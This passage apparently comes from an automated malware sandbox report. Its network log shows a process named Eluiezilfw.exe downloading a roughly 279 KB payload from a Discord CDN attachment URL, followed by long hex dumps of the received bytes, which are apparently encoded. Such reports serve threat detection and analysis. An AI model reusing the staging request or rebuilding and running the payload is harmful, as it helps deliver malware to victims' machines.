d0 3a f8 15 5a 9d 70 3e c8 5d 12 c6 50 88 3c a1 4a 11 fd d7 8e e4 7b Data Ascii: m)pQHb()m%fZ)W{%w(,$TA\|dt<=;\T]46PK)NoA0=7Ier^MNP ^oDC5HNi"sFn_P{ b-Y,QIRo+esS3<VblND:Zp>]P<J{
2022-06-26 07:42:48 UTC	283	IN	Data Raw: 10 75 0a 59 57 81 33 0a 5e 71 c5 49 d7 50 03 12 fa d5 95 b4 f3 9f 98 93 39 02 6a af aa 72 87 c6 cb a5 b1 f8 f7 5b 2f 15 e5 7b 4e 1c 7e c0 71 f0 5b 2a b5 ee a5 89 70 99 16 0d cf fb e2 cb ac b1 f1 ad c3 2f fe 2a 1b 8e 4e 03 1e 7b 24 0b 3e e5 11 ce f1 e3 d3 c4 bf 49 c9 74 73 37 69 4a 65 d1 70 87 18 f5 41 98 85 ba d7 1e cc 70 a0 b9 45 79 9d ba 84 76 c3 03 c5 f3 25 53 89 d1 e3 7e cc 28 63 3e 57 27 82 b5 05 19 36 9f ca 6a 22 07 7e 93 ca fe 11 ec 46 46 27 a5 23 4c 66 e9 9d e1 53 2b 6f 93 e3 bd 1d 1b 57 c2 5f 8b 24 bb 45 39 ce f2 44 ce b9 85 ea 9b ab e8 82 8c f5 ed e6 59 dd 92 b3 8d 20 bd b1 0a 4b 6a 63 a3 6d ac 8c e5 d4 70 05 ba db 7b ab 38 57 cc 89 c2 31 76 b7 43 4c 39 bd c5 46 64 9b d6 fc 68 62 4e ee 11 2d 80 6b d7 aa 73 19 83 8d 60 59 68 f9 bb 8d a9 05 63 ec Data Ascii: uYW3^qIP9jr[/{N~q[p/N{$>Its7iJepApEyv%S~(c>W'6j"~FF'#LfS+oW_$E9DY Kjcmp{8W1vCL9FdhbN-ks`Yhc
2022-06-26 07:42:48 UTC	287	IN	Data Raw: 31 76 44 1c c2 43 1f 51 2d 76 31 ef 22 c1 34 3d d4 96 16 30 5d 12 54 f1 8e 42 29 4f 8c 0d bc ea 8f fd d5 b8 22 4a 4f 04 c2 84 5d 55 ef 87 06 b8 b5 fa 9c 2e 03 8a 4f 90 04 97 12 aa d0 d6 df 6c d5 e6 0b dc 2b 03 c4 93 1f 74 06 76 07 24 72 7e 50 fc 03 f9 b2 fb b3 a0 40 34 1b 99 8b f1 3b 11 9d 77 f3 86 12 04 77 4f b8 69 ec f4 bd 50 8b 25 c7 40 9f 85 88 fa 12 f3 94 5f d3 07 69 1b 20 38 9f db 15 95 8f 2c 13 42 f5 20 8c bd 54 57 80 7d bd 2d ba e1 3a d7 9b c2 1d bc 5a fb 0b f1 e9 68 38 60 e0 97 36 6a ca 67 45 ec 2b 8f e5 f5 c8 f3 6b b2 30 33 34 ce bd e0 39 e6 5b 30 fa f2 16 46 a2 c9 f9 7d f5 62 31 04 23 72 c3 f5 4c 8b 9b 44 b3 ba d3 5c b1 2d ff 43 a3 6d 77 cd e5 76 af 01 be 72 bf d6 a6 b0 ec ef 74 cd 9f 57 96 5a 7f b3 df 37 ae c3 96 6f 18 fa 6d 3c fd 75 c0 02 f3 Data Ascii: 1vDCQ-v1"4=0]TB)O"JO]U.Ol+tv$r~P@4;wwOiP%@_i 8,B TW}-:Zh8`6jgE+k0349[0F}b1#rLD\-CmwvrtWZ7om<u
2022-06-26 07:42:48 UTC	303	IN	Data Raw: 73 bc ae fc a3 a2 31 be ad 92 38 fd 67 a5 e6 72 92 1a 64 35 ea 8c 45 d1 45 a3 e7 1f b9 a9 a6 0a 92 39 d9 0f 91 3c bc e0 00 a6 ca bd e1 72 00 7e 46 5b d9 00 7e b4 70 85 66 a2 c8 72 e9 44 f2 2c 74 51 e2 fe 5c 79 6c 07 ea d4 ab cb d4 3b fe 80 7d 9e 94 37 57 40 a3 40 31 45 45 33 00 f2 2c b1 d1 e8 7b c6 fa 44 53 3d af d2 36 3e 07 76 d6 d2 81 d7 02 74 64 7e 29 0e ca 6f be 57 40 7c c9 21 3c 1d 16 a2 d4 3f 9f dd 70 6f 67 87 6f e3 1c e1 0e de ea 0c 14 1a 97 ed dd 34 66 44 45 92 e6 60 36 63 8b c0 a4 2a e7 2b 7c c2 a0 11 3c 78 67 2e 09 5e 32 2e 96 d6 e5 44 d2 1b 49 51 61 b7 e6 f2 3c 35 47 90 0a c7 5a 98 27 fe b8 57 a5 f6 1f 5c f1 e3 b5 d6 e7 bb 19 61 39 9b ce ff 6b f8 2b af 26 8e c6 db ce f5 6a 50 8b 4e 2c 60 9e e6 a3 d1 70 e2 e2 b2 9a b1 aa 4e c2 c1 55 ab 3a 7d f2 Data Ascii: s18grd5EE9<r~F[~pfrD,tQ\yl;}7W@@1EE3,{DS=6>vtd~)oW@\|!<?pogo4fDE`6c*+\|<xg.^2.DIQa<5GZ'W\a9k+&jPN,`pNU:}
2022-06-26 07:42:48 UTC	315	IN	Data Raw: f0 55 d2 a4 ba 6b 88 7a 67 59 ec f4 69 5a df e8 0c 85 d7 4d 37 55 73 9e 36 93 19 0a 7f d4 b1 a8 22 fb ef cd a0 75 bd cd 1d 94 1d 67 6d 63 91 97 7a 0d 8c 33 45 45 48 94 e3 ad 35 76 a1 9c 8e cc 68 76 11 f6 1d 89 1b 8a 9a c7 2d 5b 3f db 49 21 02 20 9d 75 1e b7 87 55 bd e4 da 4b b3 8a aa 23 ab 36 68 4e fd 5c 74 d8 a1 e6 36 36 51 75 58 9f 0a 77 29 0d c0 b0 11 6a ba 3e 26 69 8d 7f 4c 68 72 ca 61 44 92 22 81 6d f2 01 5e 82 88 13 cb f2 e7 91 c4 d0 6f dd 7a 9c 6f b6 53 40 61 8f 79 85 dd c9 fa 9e 3b 9d 11 32 87 45 60 3c 84 30 1d fd b1 77 21 9d 6c f3 3b 80 75 a0 60 d1 fc c0 3f 94 58 d2 f9 01 4e 5a 04 b5 36 32 72 01 9b 9b b9 60 61 c2 97 bc e7 db 38 f8 f7 35 49 fa e5 91 06 9d 9d a1 95 28 0f c4 61 04 95 00 a9 00 c9 57 d3 13 a5 bd 7f 3c 08 4c b9 c8 58 ea 58 7c 64 29 20 Data Ascii: UkzgYiZM7Us6"ugmcz3EEH5vhv-[?I! uUK#6hN\t66QuXw)j>&iLhraD"m^ozoS@ay;2E`<0w!l;u`?XNZ62r`a85I(aW<LXX\|d)
2022-06-26 07:42:48 UTC	331	IN	Data Raw: 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 3c 85 8d 75 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 Data Ascii: wUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ<uuii$s"}}uii$s"uii$s"}}uii$s"uii$s"}}uii$s"uii$s"}}uii$s"uii$s"}}uii$s

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49745	162.159.133.233	443	C:\Users\Public\Libraries\Eluiezilfw.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:43:09 UTC	331	OUT	GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1 User-Agent: 16 Host: cdn.discordapp.com Cache-Control: no-cache
2022-06-26 07:43:09 UTC	331	IN	HTTP/1.1 200 OK Date: Sun, 26 Jun 2022 07:43:09 GMT Content-Type: application/octet-stream Content-Length: 279040 Connection: close CF-Ray: 72144f71797c5c85-FRA Accept-Ranges: bytes Age: 3086 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Eluiezilfwmdrgrdfrqpnwmurrnwnhm ETag: "7d74af495b07aad93486870343b767e3" Expires: Mon, 26 Jun 2023 07:43:09 GMT Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1656221440589477 x-goog-hash: crc32c=Xt3y7g== x-goog-hash: md5=fXSvSVsHqtk0hocDQ7dn4w== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 279040 X-GUploader-UploadID: ADPycdtJ7t9fCETp7UygsO08dpsnNnPY5cqzUa7Rm36R-2-yoeBJxLn_rXiCmsw2Ou5CLTbZXuNNnlYW7HZr2ZJiNfBM0vIyGhBb X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=F7V%2B7cVzdxh9zuxlufANpShCCOFVhVgCy2aOmOiTNIaOzcSNPORQiutEtennUmotp1aGvpQi%2FPkG2W4fv31d3S60A7tQVDudvVi2V5%2FXJIBolE1brOfDeVQMn%2Fp5HmMUZcXyFg%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-06-26 07:43:09 UTC	333	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-06-26 07:43:09 UTC	333	IN	Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc 71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3c 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a 89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 0e 86 9d b0 92 92 9b b0 ba cd 58 b0 8e 92 9b b0 ba cd a1 b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0 63 9a 3b b0 8c 92 9b b0 d5 92 52 b0 a5 db 9b b0 0e 9a 06 b0 7e 92 9b b0 ab 6c 58 b0 47 92 9b b0 ab 6c a1 b0 8c 92 9b b0 86 4f 01 b0 d9 92 9b b0 52 8c 95 b0 8c 92 9b b0 77 44 3e 8d d5 92 9b Data Ascii: (%%%%)%%%%%%%%%%%%e%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%33%qyDNEJB<HE><JE@EPEDEi*.EHJ@S/I%%%%%%%=Xc}Xc;R~lXGlORwD>
2022-06-26 07:43:09 UTC	334	IN	Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 b1 cc 1c 25 66 e5 da 00 ad cc 1c 25 66 e5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 a1 cc 1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91 cc 1c 25 66 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7d cc 1c 25 66 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00 6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da 00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5 Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f}%fy%fu%f%fq%fm%fi%f%f%f%fe%fa%f%f
2022-06-26 07:43:09 UTC	336	IN	Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49 29 64 2b dd 11 c0 1c 25 16 2b 50 b1 0e e5 64 e2 5e a1 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22 29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e e9 0d 66 b4 64 39 49 68 99 49 2d 68 a1 49 29 68 91 49 31 66 f5 66 ef 5c bc 25 15 da da 64 71 49 35 de 39 49 5c e7 da ea 25 25 5c 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39 06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 e2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35 4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66 20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 e5 50 2b 0e e5 64 de c6 ea 66 Data Ascii: %f+fe-u;!`P/%%%%f+fiI)d+%+Pd^I1%fiI-dfiI1iI-d")^=8:6f.{20^fd9IhI-hI)hI1ff\%dqI59I\%%\%dyI9fiI5dfiI9iI5d)\|%d6ffe-d+ffe1+d %f+iI5N+fiI5d+f %iI9fiI9d %f+ %N)%5%%f %+uf+uK`P+df
2022-06-26 07:43:09 UTC	337	IN	Data Raw: 0d f9 1b da da eb e0 e9 c0 1c 25 25 7c 49 0b 1c 25 75 0d c7 1b da da 0e e5 7e 49 0b 1c 25 7c 11 c0 1c 25 64 20 1d c6 f6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d 50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d 0b 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20 21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 c0 1c 25 64 20 21 5e 58 21 25 50 ba 0e e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d 0b 1c 25 50 e4 66 75 29 64 f0 3d 0b 1c 25 66 75 29 64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 f2 60 f7 54 Data Ascii: %%\|I%u~I%\|%d %%%%f fe-uf f%d % P%C!%9M%/\|%d !^X!%f !f%~%f !u\|%d !^X!%P44d5Ae%(%%/%%A%%448.^=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP`T
2022-06-26 07:43:09 UTC	338	IN	Data Raw: 29 66 e2 7e 45 0b 1c 25 66 22 29 7e 41 0b 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e e9 1d 66 fd 66 f9 68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 e9 0d 32 da da da a9 e5 50 29 0e e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e e9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 e9 0d 4b da da da a9 e5 50 29 0e e5 c6 27 d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 0e a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 e8 49 0b 1c 25 66 71 5c 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e e9 19 66 fd 68 99 49 2d 9a 3d 0b 1c 25 98 41 0b 1c 25 7c 35 0b 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 e2 64 2b 66 2b 66 65 2d 16 fd ea b3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d Data Ascii: )f~E%f")~A%^5:6he%.^ffh)^aI%f2P)'46.{^fffh{)fF^aI%fKP)'46he%,fd/`T^'%)%%ZfI%fq\d/^_%P-e)%%Pf'he%.{20^fhI-=%A%\|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
2022-06-26 07:43:09 UTC	340	IN	Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 c6 c0 66 20 21 36 66 c0 38 9e 66 e5 2e 7b 32 30 5e e9 19 66 ff 5e 9e e2 5e be 21 5e d6 31 58 e0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55 5c 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66 79 49 29 16 f0 45 0b 1c 25 50 51 04 08 45 0b 1c 25 dc 08 41 0b 1c 25 5e 18 41 0b 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0b 1c 25 04 08 41 0b 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69 49 2d de 8d 2d 66 69 49 2d 0d 2c d0 da da 5e d8 31 a1 fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69 49 29 5e e5 29 0d 67 1b da da c4 ea dc 25 25 66 03 c4 2d dc 25 25 66 d6 Data Ascii: e%(%%/%?7%%f !6f8f.{20^f^^!^1X1%%%^)d)If)IfU\!Zf)IdiI)P%%%%%ffyI)E%PQE%A%^A%1hJ%%E%A%f%%diI)fiI)%'P=fiI)diI-fiI--fiI-,^1f)IdiI)^'fiI)dMfiI)^)g%%f-%%f
2022-06-26 07:43:09 UTC	341	IN	Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba 0e c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50 65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b a5 5d 45 52 c3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69 49 35 0e c8 c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2 4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d 25 99 55 66 2b 75 0d 6c 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2 Data Ascii: +]GPf+GP^+'f+diI16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ERfiI)f%%fiI1d+fiI)f%diI5Vf+]GPuf+ud+If+udf+N9f+%fyI5)O+ f+f+=GPf+]%Uf+uld+If+u`d
2022-06-26 07:43:09 UTC	342	IN	Data Raw: 59 65 25 25 25 a0 53 e1 c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1 a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1 f3 f6 e7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d 9d 14 1a 5c 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5c 20 65 a1 4a 21 40 65 c3 90 95 06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 0b 5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 a1 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e b1 0a 8f 81 f4 21 4b f7 96 1e 9b be f1 17 04 0a a9 5c 4b 69 f7 2f b5 Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%\|se9e<,4weJ0e_Ej}e\e[j\|:esB)eG\ eJ!@exDe$e~9v;"nZ\|;7gF0hgUawgx,!K\Ki/
2022-06-26 07:43:09 UTC	344	IN	Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5c 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da 3c 15 9e b5 77 2c 2e a9 f7 a1 de da 75 19 0c f7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64 2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 e5 99 33 66 2d d7 5c 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25 9e 68 65 25 66 35 da 77 1d 9e 66 e5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 9e 66 e5 a9 f7 5a dc 9e 75 77 66 35 da 77 0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f c8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25 99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e e9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f c8 33 da f0 39 05 1c 25 5e e9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc Data Ascii: {fW\#%N5uf%}df-<w,.uhqI5f?ddD-)e%d1d/64_%%fiIQfe1`3f-\u,!}%%%'%%he%f5wf.fff5wf6fZuwf5w}M%%%%39%M%%uuwy'%39%^-}he%y%39%^)}he%M%
2022-06-26 07:43:09 UTC	345	IN	Data Raw: 65 29 64 20 21 0e e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20 1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 0e e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da 0d 9d d8 da da 0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e e9 1d 2e 7b 32 9a 5d 0b 1c 25 66 22 2d 60 e5 99 79 66 55 0e b6 66 65 29 64 20 21 0e e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 99 de da 30 1d 16 ce 5a 0b 0e e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d 0c da da da 0d 2d d8 da da 0d 32 d8 da da 3a 83 36 34 34 38 9e 2c 7b 32 e3 5d 0b 1c 25 68 58 e9 94 e6 25 25 25 ce 80 6a e0 7d 0b 1c 25 6a e0 79 0b 1c 25 64 08 71 0b 1c 25 64 f8 75 0b 1c 25 7e 65 0b 1c 25 64 f0 6d 0b 1c 25 68 28 e9 Data Ascii: e)d !08ae%UdE`&d1f !fi)d ^X%0`Z44d59\|:64480f^.{2]%f"-`yfUfe)d !0ae%UdE?f !f)d d:1^X%0Z44d59-2:6448,{2]%hX%%%j}%jy%dq%du%~e%dm%h(
2022-06-26 07:43:09 UTC	346	IN	Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a9 23 da da c6 3a 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66 fd 60 b6 a1 ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49 29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d ee 29 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 77 64 07 94 dc 25 25 25 0d d6 23 da da 7f 9e b5 0c a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29 c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 99 33 8b 16 6f 2b 99 e0 5e e7 2d c6 09 5e e7 27 5e e7 27 Data Ascii: \|8)%.{20\)u^!fd9If`Zf#:h\%%XM{hiI-fqI)%%f`hyI)ffQfffW)%%{ffqI)fyf`X'ff)%%\)5%%8:6wd%%%#`w_/_o_o'_o^)gggd#he%`w/Eo'o)3o+^-^'^'
2022-06-26 07:43:09 UTC	348	IN	Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 e1 da da da 66 6f 21 ac c4 ea a9 8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2 25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 66 e5 60 a4 ea a9 31 da da da 75 2c 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 Data Ascii: %%%u^)sP6he%`fo!,wu0`L.{20\)u^!fd9If`Zf8h\%%XM{hiI-fqI)%%Af`hyI)ff%%%Offf%%{ffqI)ff`X'ffD%%\)5%%8:6f`1u,w`#Wd'`w/Eo'o)
2022-06-26 07:43:09 UTC	349	IN	Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29 0d 42 33 25 25 2a 5a ce c6 e8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da f0 3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb 0c e5 af 1c dc 68 a1 2d 2f 66 4a 21 0c e5 66 2a 1d 2c 66 2a 29 04 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 0c a5 d4 e6 99 18 a5 d4 31 99 24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 c6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd 0d 